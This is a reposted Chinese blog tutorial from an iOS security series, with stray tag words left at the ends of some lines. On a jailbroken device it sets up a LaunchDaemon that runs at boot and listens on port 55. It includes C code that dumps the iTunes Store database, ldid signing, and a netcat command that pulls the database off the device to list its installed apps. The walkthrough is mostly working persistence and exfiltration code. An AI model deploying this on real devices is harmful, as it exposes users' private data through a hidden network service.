轉自:http://blog.csdn.net/yiyaaixuexi/article/details/8293020 sql
開機自啓動
在iOS安全攻防(一):Hack必備的命令與工具中,介紹瞭如何編譯本身的C程序並手動啓動。今天介紹如何使程序變爲開機自啓動。數據庫
1.首先打開Xcode建立一個plist屬性文件,以下圖所示:安全
其中要注意一下通訊服務名,我定爲55。用編輯器打開,即爲:app
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
- <plist version="1.0">
- <dict>
- <key>Program</key>
- <string>/usr/bin/ncdemo</string>
- <key>StandardErrorPath</key>
- <string>/dev/null</string>
- <key>SessionCreate</key>
- <true/>
- <key>ProgramArguments</key>
- <array>
- <string>/usr/bin/ncdemo</string>
- </array>
- <key>inetdCompatibility</key>
- <dict>
- <key>Wait</key>
- <false/>
- </dict>
- <key>Sockets</key>
- <dict>
- <key>Listeners</key>
- <dict>
- <key>SockServiceName</key>
- <string>55</string>
- </dict>
- </dict>
- </dict>
- </plist>
最後,將plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .ssh
編寫讀取iTunesstore數據庫程序
讀取itunesstored2.sqlitedb信息,並輸出到stdout中,便於咱們讀取。編輯器
- #include <stdio.h>
- #include <fcntl.h>
- #include <stdlib.h>
-
- #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
-
- int main(){
- int fd = open(FILE, O_RDONLY);
- char buf[128];
- int ret = 0;
-
- if(fd < 0)
- return -1;
- while (( ret = read(fd, buf, sizeof(buf))) > 0){
- write( fileno(stdout), buf, ret);
- }
- close(fd);
- return 0;
- }
編譯、拷貝、簽名
1.編譯方法上篇文章已經介紹清楚,這裏再也不重複,直接¥%¥#%¥……%# 生成運行在ARM的 ncdemo 工具
2.將ncdemo scp 到設備中,並登陸spa
$ scp ncdemo root@192.168.1.114:ncdemo.net
$ ssh root@192.168.1.114code
3.簽名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取 iTunesstore 數據信息
這時,咱們只須要利用netcat,指定以前定義的服務名稱,輕鬆在本地抓取設備 iTunesstore 信息.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析 iTunesstore 數據信息
好吧,這裏就介紹個最簡單的應用,利用string命令查看:
$ strings itunesstored2.sqlitedb
因而乎,咱們就清晰的獲得了iPhone /iPad 設備上都安裝了哪些app :